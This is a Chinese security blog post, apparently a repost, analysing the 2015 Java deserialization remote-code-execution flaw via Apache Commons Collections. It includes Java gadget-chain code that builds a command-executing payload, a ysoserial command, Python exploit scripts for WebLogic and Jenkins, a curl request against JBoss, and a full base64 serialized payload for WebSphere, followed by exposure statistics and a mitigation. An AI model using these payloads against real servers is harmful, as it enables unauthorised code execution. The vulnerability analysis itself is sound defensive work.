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序列化和反序列化漏洞的简单理解

来源：互联网 发布：绝世神偷网络电影 编辑：程序博客网 时间：2024/05/16 07:08

1 背景

2015年11月6日，FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞，来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用，实现远程代码执行。

然而事实上，博客作者并不是漏洞发现者。博客中提到，早在2015年的1月28号，Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了一个报告[5]，报告中介绍了Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行，当时并没有引起太大的关注，但是在博主看来，这是2015年最被低估的漏洞。

确实，Apache Commons Collections这样的基础库非常多的Java应用都在用，一旦编程人员误用了反序列化这一机制，使得用户输入可以直接被反序列化，就能导致任意代码执行，这是一个极其严重的问题，博客中提到的WebLogic等存在此问题的应用可能只是冰山一角。

虽然从@gebl和@frohoff的报告到现在已经过去了将近一年，但是@breenmachine的博客中提到的厂商也依然没有修复，而且国内的技术人员对这个问题的关注依然较少。为了帮助大家更好的理解它，尽快避免和修复这些问题，本文对此做了一个深入的漏洞原理和利用分析，最后对上面提到的这些受影响的应用，在全球范围内做一个大概的统计。

2 Java反序列化漏洞简介

序列化就是把对象转换成字节流，便于保存在内存、文件、数据库中；反序列化即逆过程，由字节流还原成对象。Java中的ObjectOutputStream类的writeObject()方法可以实现序列化，类ObjectInputStream类的readObject()方法用于反序列化。下面是将字符串对象先进行序列化，存储到本地文件，然后再通过反序列化进行恢复


问题在于，如果Java应用对用户输入，即不可信数据做了反序列化处理，那么攻击者可以通过构造恶意输入，让反序列化产生非预期的对象，非预期的对象在产生过程中就有可能带来任意代码执行。


所以这个问题的根源在于类ObjectInputStream在反序列化时，没有对生成的对象的类型做限制；假若反序列化可以设置Java类型的白名单，那么问题的影响就小了很多。


反序列化问题由来已久，且并非Java语言特有，在其他语言例如PHP和Python中也有相似的问题。@gebl和@frohoff的报告中所指出的并不是反序列化这个问题，而是一些公用库，例如Apache Commons Collections中实现的一些类可以被反序列化用来实现任意代码执行。WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些应用的反序列化漏洞能够得以利用，就是依靠了Apache Commons Collections。这种库的存在极大地提升了反序列化问题的严重程度，可以比作在开启了ASLR地址随机化防御的系统中，出现了一个加载地址固定的共享库，或者类似twitter上的评论中的比喻：


java反序列化


@breenmachine的博客中将漏洞归咎于Apache Commons Collections这个库，存在一定的误解。


3 利用Apache Commons Collections实现远程代码执行


参考Matthias Kaiser在11月份的报告[1]，我们以Apache Commons Collections 3为例，来解释如何构造对象，能够让程序在反序列化，即调用readObject()时，就能直接实现任意代码执行。


Map类是存储键值对的数据结构，Apache Commons Collections中实现了类TransformedMap，用来对Map进行某种变换，只要调用decorate()函数，传入key和value的变换函数Transformer，即可从任意Map对象生成相应的TransformedMap，decorate()函数如下

[java] view plain copy
  1. public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {  
  2.     return new TransformedMap(map, keyTransformer, valueTransformer);  
  3. }  

Transformer是一个接口，其中定义的transform()函数用来将一个对象转换成另一个对象。如下所示：

[java] view plain copy
  1. public interface Transformer {  
  2.     public Object transform(Object input);  
  3. }  

当Map中的任意项的Key或者Value被修改，相应的Transformer就会被调用。除此以外，多个Transformer还能串起来，形成ChainedTransformer。

Apache Commons Collections中已经实现了一些常见的Transformer，其中有一个可以通过调用Java的反射机制来调用任意函数，叫做InvokerTransformer，代码如下：

[java] view plain copy
  1. public class InvokerTransformer implements Transformer, Serializable {  
  2.   
  3. ...  
  4.   
  5.     public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {  
  6.         super();  
  7.         iMethodName = methodName;  
  8.         iParamTypes = paramTypes;  
  9.         iArgs = args;  
  10.     }  
  11.   
  12.     public Object transform(Object input) {  
  13.         if (input == null) {  
  14.             return null;  
  15.         }  
  16.         try {  
  17.             Class cls = input.getClass();  
  18.             Method method = cls.getMethod(iMethodName, iParamTypes);  
  19.             return method.invoke(input, iArgs);  
  20.   
  21.         } catch (NoSuchMethodException ex) {  
  22.             throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");  
  23.         } catch (IllegalAccessException ex) {  
  24.             throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");  
  25.         } catch (InvocationTargetException ex) {  
  26.             throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);  
  27.         }  
  28.     }  
  29.   
  30. }  

只需要传入方法名、参数类型和参数，即可调用任意函数。因此要想任意代码执行，我们可以首先构造一个Map和一个能够执行代码的ChainedTransformer，以此生成一个TransformedMap，然后想办法去触发Map中的MapEntry产生修改（例如setValue()函数），即可触发我们构造的Transformer。测试代码如下：

[java] view plain copy
  1. public static void main(String[] args) throws Exception {  
  2.     Transformer[] transformers = new Transformer[] {  
  3.         new ConstantTransformer(Runtime.class),  
  4.         new InvokerTransformer("getMethod", new Class[] {  
  5.             String.class, Class[].class }, new Object[] {  
  6.             "getRuntime", new Class[0] }),  
  7.         new InvokerTransformer("invoke", new Class[] {  
  8.             Object.class, Object[].class }, new Object[] {  
  9.             null, new Object[0] }),  
  10.         new InvokerTransformer("exec", new Class[] {  
  11.             String.class }, new Object[] {"calc.exe"})};  
  12.   
  13.     Transformer transformedChain = new ChainedTransformer(transformers);  
  14.   
  15.     Map innerMap = new hashMap();  
  16.     innerMap.put("value", "value");  
  17.     map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);  
  18.   
  19.     Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();  
  20.     onlyElement.setValue("foobar");  
  21.   
  22. }  

当上面的代码运行到setValue()时，就会触发ChainedTransformer中的一系列变换函数：首先通过ConstantTransformer获得Runtime类，进一步通过反射调用getMethod找到invoke函数，最后再运行命令calc.exe。

但是目前的构造还需要依赖于触发Map中某一项去调用setValue()，我们需要想办法通过readObject()直接触发。

我们观察到java运行库中有这样一个类AnnotationInvocationHandler，这个类有一个成员变量memberValues是Map类型，如下所示：

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        this.type = type;
        this.memberValues = memberValues;
    }
    ...
更令人惊喜的是，AnnotationInvocationHandler的readObject()函数中对memberValues的每一项调用了setValue()函数，如下所示：

[java] view plain copy
  1. private void readObject(java.io.ObjectInputStream s)  
  2.     throws java.io.IOException, ClassNotFoundException {  
  3.     s.defaultReadObject();  
  4.   
  5.   
  6.     // Check to make sure that types have not evolved incompatibly  
  7.   
  8.     AnnotationType annotationType = null;  
  9.     try {  
  10.         annotationType = AnnotationType.getInstance(type);  
  11.     } catch(IllegalArgumentException e) {  
  12.         // Class is no longer an annotation type; all bets are off  
  13.         return;  
  14.     }  
  15.   
  16.     Map<String, Class<?>> memberTypes = annotationType.memberTypes();  
  17.   
  18.     for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {  
  19.         String name = memberValue.getKey();  
  20.         Class<?> memberType = memberTypes.get(name);  
  21.         if (memberType != null) {  // i.e. member still exists  
  22.             Object value = memberValue.getValue();  
  23.             if (!(memberType.isInstance(value) ||  
  24.                   value instanceof ExceptionProxy)) {  
  25.                 // 此处触发一些列的Transformer  
  26.                 memberValue.setValue(  
  27.                     new AnnotationTypeMismatchExceptionProxy(  
  28.                         value.getClass() + "[" + value + "]").setMember(  
  29.                             annotationType.members().get(name)));  
  30.             }  
  31.         }  
  32.     }  
  33. }  


因此，我们只需要使用前面构造的Map来构造AnnotationInvocationHandler，进行序列化，当触发readObject()反序列化的时候，就能实现命令执行。另外需要注意的是，想要在调用未包含的package中的构造函数，我们必须通过反射的方式，综合生成任意代码执行的payload的代码如下：

[java] view plain copy
  1. public static void main(String[] args) throws Exception {  
  2.     Transformer[] transformers = new Transformer[] {  
  3.         new ConstantTransformer(Runtime.class),  
  4.         new InvokerTransformer("getMethod", new Class[] {  
  5.             String.class, Class[].class }, new Object[] {  
  6.             "getRuntime", new Class[0] }),  
  7.         new InvokerTransformer("invoke", new Class[] {  
  8.             Object.class, Object[].class }, new Object[] {  
  9.             null, new Object[0] }),  
  10.         new InvokerTransformer("exec", new Class[] {  
  11.             String.class }, new Object[] {"calc.exe"})};  
  12.   
  13.     Transformer transformedChain = new ChainedTransformer(transformers);  
  14.   
  15.     Map innerMap = new hashMap();  
  16.     innerMap.put("value", "value");  
  17.     map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);  
  18.   
  19.     Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
  20.     Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);  
  21.     ctor.setAccessible(true);  
  22.     Object instance = ctor.newInstance(Target.class, outerMap);  
  23.   
  24.     File f = new File("payload.bin");  
  25.     ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));  
  26.     out.writeObject(instance);  
  27.     out.flush();  
  28.     out.close();  
  29.   
  30. }  

以上解释了如何通过Apache Commons Collections 3这个库中的代码，来构造序列化对象，使得程序在反序列化时可以立即实现任意代码执行。

我们可以直接使用工具ysoserial[2][5]来生成payload，当中包含了4种通用的payload：Apache Commons Collections 3和4，Groovy，spring，只要目标应用的Class Path中包含这些库，ysoserial生成的payload即可让readObject()实现任意命令执行。ysoserial当中针对Apache Commons Collections 3的payload也是基于TransformedMap和InvokerTransformer来构造的，而在触发时，并没有采用上文介绍的AnnotationInvocationHandler，而是使用了java.lang.reflect.Proxy中的相关代码来实现触发。此处不再做深入分析，有兴趣的读者可以参考ysoserial的源码。


4 漏洞利用实例


4.1 利用过程概述

首先拿到一个Java应用，需要找到一个接受外部输入的序列化对象的接收点，即反序列化漏洞的触发点。我们可以通过审计源码中对反序列化函数的调用（例如readObject()）来寻找，也可以直接通过对应用交互流量进行抓包，查看流量中是否包含java序列化数据来判断，java序列化数据的特征为以标记（ac ed 00 05）开头。

确定了反序列化输入点后，再考察应用的Class Path中是否包含Apache Commons Collections库（ysoserial所支持的其他库亦可），如果是，就可以使用ysoserial来生成反序列化的payload，指定库名和想要执行的命令即可：

1java -jar ysoserial-0.0.2-SNAPSHOT-all.jar CommonsCollections1 'id >> /tmp/redrain' > payload.out

通过先前找到的传入对象方式进行对象注入，数据中载入payload，触发受影响应用中ObjectInputStream的反序列化操作，随后通过反射调用Runtime.getRunTime.exec即可完成利用。


4.2 WebLogic


参照[3]中的方法，对安装包文件grep受影响的类InvokerTransformer：


1root@f45f0209fa11:/opt/OracleHome# grep -R InvokerTransformer ./
2Binary file ./oracle_common/modules/com.bea.core.apache.commons.collections.jar matches


接着通过寻找接收外部输入的点，来让我们发送序列化对象。


WebLogic外部只开了一个7001端口，这个端口接受HTTP，T3，SNMP协议，判断协议类型后再把数据路由到内部正确的位置，通过在server上抓包，发现走T3协议时携带了java序列化对象，所以我们只用把这个包文从序列化开始的标记（ac ed 00 05）后加入payload，重放这个数据，完成利用。


以下是breenmachine的完整利用脚本：

[python] view plain copy
  1. #!/usr/bin/python  
  2. import socket  
  3. import sys  
  4.   
  5. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  6.   
  7. server_address = (sys.argv[1], int(sys.argv[2]))  
  8. print 'connecting to %s port %s' % server_address  
  9. sock.connect(server_address)  
  10.   
  11. # Send headers  
  12. headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'  
  13. print 'sending "%s"' % headers  
  14. sock.sendall(headers)  
  15.   
  16. data = sock.recv(1024)  
  17. print >>sys.stderr, 'received "%s"' % data  
  18.   
  19. payloadObj = open(sys.argv[3],'rb').read()  
  20.   
  21. payload=''  
  22. print 'sending payload...'  
  23. '''''outf = open('payload.tmp','w') 
  24. outf.write(payload) 
  25. outf.close()'''  
  26. sock.send(payload)  

在weblogic的利用中，有个小坑是不能破坏原始T3协议数据中包装的java对象。


4.3 Jenkins

Jenkins是一个非常流行的CI工具，在很多企业的内网中都部署了这个系统，这个系统常常和企业的代码相关联，这次也受到了Java反序列化漏洞的影响，非常危险。

同样，通过grep受影响的类InvokerTransformer

1root@f45f0209fa11:/usr/share/jenkins# grep -R "InvokerTransformer"  ./
2Binary file ./webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar matches

在开放的端口上抓包，定位到Jeenkins的CLI包文中的序列化开始标记（rO0）。 在发送CLI的第一个包文后：

：
00000000 00 14 50 72 6f 74 6f 63 6f 6c 3a 43 4c 49 2d 63 ..Protoc ol:CLI-c
00000010 6f 6e 6e 65 63 74 onnect

在标记位的地方将base64处理过的payload修改覆盖原始包文中的序列化对象，发包后，完成利用。这里给出一个演示视频：


以下是@breenmachine的完整利用脚本：

[python] view plain copy
  1. #!/usr/bin/python  
  2.   
  3. #usage: ./jenkins.py host port /path/to/payload  
  4. import socket  
  5. import sys  
  6. import requests  
  7. import base64  
  8.   
  9. host = sys.argv[1]  
  10. port = sys.argv[2]  
  11.   
  12. #Query Jenkins over HTTP to find what port the CLI listener is on  
  13. r = requests.get('http://'+host+':'+port)  
  14. cli_port = int(r.headers['X-Jenkins-CLI-Port'])  
  15.   
  16. #Open a socket to the CLI port  
  17. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  18. server_address = (host, cli_port)  
  19. print 'connecting to %s port %s' % server_address  
  20. sock.connect(server_address)  
  21.   
  22. # Send headers  
  23. headers='\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74'  
  24. print 'sending "%s"' % headers  
  25. sock.send(headers)  
  26.   
  27. data = sock.recv(1024)  
  28. print >>sys.stderr, 'received "%s"' % data  
  29.   
  30. data = sock.recv(1024)  
  31. print >>sys.stderr, 'received "%s"' % data  
  32.   
  33. payloadObj = open(sys.argv[3],'rb').read()  
  34. payload_b64 = base64.b64encode(payloadObj)  
  35. payload=''  
  36.   
  37. print 'sending payload...'  
  38. '''''outf = open('payload.tmp','w') 
  39. outf.write(payload) 
  40. outf.close()'''  
  41. sock.send(payload)  

4.4 Jboss


Jboss受影响的情况就比之前Jenkins逊色不少，正如之前所说，要成功利用必须要找到程序接受外部输入的点，而此处的利用需要/invoker/jmx的支持，大部分情况下的实际场景，jboss都删除了jmx，所以让此处的利用大打折扣。


分析流程和之前一样，只不过此处接受的点在jmx上，所以通过的协议也和前两个不同，是HTTP协议，不再赘述，详细的jboss分析可以参看Exploit – JBoss。


利用如下：


1curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload.out'http://172.17.0.2:8080/invoker/JMXInvokerServlet


也可以看breenmachine给出的http请求报文：


1POST /invoker/JMXInvokerServlet HTTP/1.1
2Host: 172.17.0.2:8080
3Content-Type:application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue
4Content-Length: 1434
5 
6payload


Java反序列化


4.5 WebSphere


WebSphere的利用相比较之前几个case就非常粗暴简单了，可惜的是很少会暴露在公网。


找到受影响的lib的位置。


1root@f45f0209fa11:/opt/server/IBM# find . -iname "*commons*collection*"
2./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.1/commons-collections.jar
3./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.2.4/commons-collections.jar
4./WebSphere/AppServer/plugins/com.ibm.ws.prereq.commons-collections.jar
5./WebSphere/AppServer/systemApps/LongRunningScheduler.ear/JobManagementWeb.war/WEB-INF/lib/commons-collections.jar
6./WebSphere/AppServer/systemApps/isclite.ear/commons-collections.jar
7./WebSphere/AppServer/deploytool/itp/plugins/com.ibm.websphere.v85_2.0.0.v20120621_2102/wasJars/com.ibm.ws.prereq.commons-collections.jar


查看端口开放情况后发现WebSphere默认起了10个端口监听所有接口，通过burp suite看到在请求websphere默认端口8880上有一个POST的请求，body中带有base64处理后的java序列化对象，同样的，标记位置仍然是"rO0"，我们将生成的payload做base64处理后覆盖之前的序列化对象即可利用。


Java反序列化


01POST / HTTP/1.0
02Host: 127.0.0.1:8880
03Content-Type: text/xml; charset=utf-8
04Content-Length: 2646
05SOAPAction: "urn:AdminService"
06 
07<?xml version='1.0' encoding='UTF-8'?>
08<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:xsd="http://www.w3.org/2001/XMLSchema">
09<SOAP-ENV:Header xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.1"ns0:JMXMessageVersion="1.2.0" ns0:SecurityEnabled="true" ns0:JMXVersion="1.2.0">
10<LoginMethod>BasicAuth</LoginMethod>
11</SOAP-ENV:Header>
12<SOAP-ENV:Body>
13<ns1:getAttribute xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
14<objectname xsi:type="ns1:javax.management.ObjectName">rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAEHRvdWNoIC90bXAvcHduZWR0AARleGVjdXEAfgAeAAAAAXEAfgAjc3EAfgARc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4dnIAEmphdmEubGFuZy5PdmVycmlkZQAAAAAAAAAAAAAAeHBxAH4AOg==</objectname>
15<attribute xsi:type="xsd:string">ringBufferSize</attribute>
16</ns1:getAttribute>
17</SOAP-ENV:Body>
18</SOAP-ENV:Envelope>


4.6 其它


因为这个安全问题的根源在于ObjectInputStream处理反序列化时接受外部输入，而又由于其他类似InvokerTransformer的类的构造函数被调用，从而造成执行，而InvokerTransformer方便的提供了根据外部输入类名函数名反射执行的作用，所以造成整个程序RCE。


所以该问题并不是像其他一些语言unserialize函数本身存在漏洞，而是在应用本身实现的方式上存在缺陷，导致应用受到RCE的影响，开个脑洞引申一下，可以很明了的发现，远远不止breenmachine所指出的这几个流行web server，更可能影响更多使用了commons－collections，并且触发ObjectInputStream反序列化操作的应用，如一些java开发的CMS，中间件等等，甚至不仅仅是PC端，移动端如Android的很多app都可能受到该问题影响。


5 漏洞影响


通过简单的全网分析和POC验证。


Jenkins收到该漏洞影响较大，在自测中，全球暴露在公网的11059台均受到该问题影响，zoomeye的公开数据中再测试后有12493受到该漏洞影响，shadon的公开数据中16368台jenkins暴露公网可能受到影响(未复测shadon数据)。


Weblogic因为公开到公网的数据较少，所以受影响面也稍微少一些，在自测中，全球486台均受到该问题影响，zoomeye的公开数据中再测试后有201台收到该漏洞影响，shadon的公开数据中806 台weblogic可能受到影响(未复测shadon数据)。


Jboss因为需要/invoker/JMXInvokerServlet的支持，所以受影响面稍小(但我们并未具体检测jboss中没有删除/invoker/JMXInvokerServlet的数据)，在自测中，全球29194台jboss暴露在公网，但由于大部分jboss都删除了jmx，所以真正受到影响的覆盖面并不广，zoomeye的公开数据中有7770台jboss暴露在公网，shadon的公开数据中46317台jboss暴露在公网。


WebSphere在自测中，全球暴露在公网的2076台均受到该问题影响，zoomeye的公开数据中再测试后仍有4511台websphere受到影响，shadon的公开数据中5537 台websphere可能受到影响(未复测shadon数据)。


Java反序列化


在本次全网分析中，感谢ztz@nsfocus的seer提供的部分数据


6 修复建议


因为受影响的多家厂商在今年1月拿到POC至今都没有对该问题做任何修复，所以短期内并不会有官方补丁放出，如果很重视这个安全问题并且想要有一个临时的解决方案可以参考NibbleSecurity公司的ikkisoft在github上放出了一个临时补丁SerialKiller。


下载这个jar后放置于classpath，将应用代码中的java.io.ObjectInputStream替换为SerialKiller，之后配置让其能够允许或禁用一些存在问题的类，SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性，控制了外部输入反序列化后的可信类型。


lib地址:https://github.com/ikkisoft/SerialKiller


7 参考资料


Matthias Kaiser - Exploiting Deserialization Vulnerabilities in Java.


https://github.com/frohoff/ysoserial


foxglovesecurity analysis


github JavaUnserializeExploits


appseccali-2015-marshalling-pickles


原文转自：http://blog.chaitin.com/2015-11-11_java_unserialize_rce/

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